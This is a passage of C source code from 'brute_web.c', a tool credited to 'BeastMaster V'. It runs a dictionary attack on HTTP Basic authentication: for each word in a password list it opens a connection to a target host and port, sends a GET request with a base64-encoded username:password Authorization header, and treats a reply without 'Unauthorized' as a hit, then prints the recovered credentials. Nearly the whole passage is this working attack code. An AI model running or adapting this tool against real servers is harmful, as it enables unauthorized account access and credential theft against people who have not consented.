   FILE * dict_fd=NULL;
   struct hostent *hp;
   unsigned short web_port=0;
   int sock_fd=0;
   char * dict_word=NULL;
   char export_buff[1024];
   char * encoded_buffer=NULL;
   unsigned short finish_flag=1, success=0;
   int foo;

        if ( argc !=5 )
                usage(argv[0]);

        r_signal(SIGSEGV, handle_SIGSEGV);
        r_signal(SIGINT, handle_SIGINT);

        dict_word= (char *)malloc (256);

if ((dict_fd=fopen(argv[2], "r"))==NULL ) {
fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n",
                argv[2], strerror(errno));
                exit(1);
        }

if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) {
fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]);
                exit(1);
        }

        web_port = atoi(argv[4]);

        encoded_buffer=(char *)malloc(512);

        while (read_dict_file(dict_word, dict_fd)) {
                if ((sock_fd=call_socket(argv[3], web_port))==-1) {
                        perror("socket connection");
                        exit(1);
                }

#ifndef SOLARIS
                if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) {
                         perror("ioctl");
                         exit(1);
                }
#else
                if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) {
                         perror("ioctl");
                         exit(1);
                }

#endif
                sprintf(export_buff, "GET / HTTP/1.0\n");
                sendln(sock_fd, export_buff);

                sprintf(encoded_buffer, "%s:%s", argv[1], dict_word);
                encode_string(encoded_buffer);
                sprintf(export_buff, "Authorization: Basic %s\n\n",buf_64);
                sendln(sock_fd, export_buff);

                memset(line, '\0', sizeof(line));
                while( readln(sock_fd)) {

#ifdef VERBOSE
                printf("%s", line);
                fflush((FILE *)stdout);
#endif

                /* Change this to a more sophisticated test. */
                /* This test is pretty lame, but works for */
                /* all practical purposes. */
                if (strstr(line, "nauthorized"))
                        finish_flag=0;
                }

                if (finish_flag) {
                        close(sock_fd);
                        finish_flag=1;
                        success=1;
                        break;
                }

                finish_flag=1;
                close(sock_fd);

        }

        fclose(dict_fd);
        if (!success)
                sorry();
        else {
                printf("\n\nThe UserName is: %s\n", argv[1]);
                printf("The Password is: %s\n", dict_word);
                printf("\n\n\n ---- Coded by BeastMaster V ----\n");
                exit(0);
        }

}



------------------------- brute_web.c -------------------------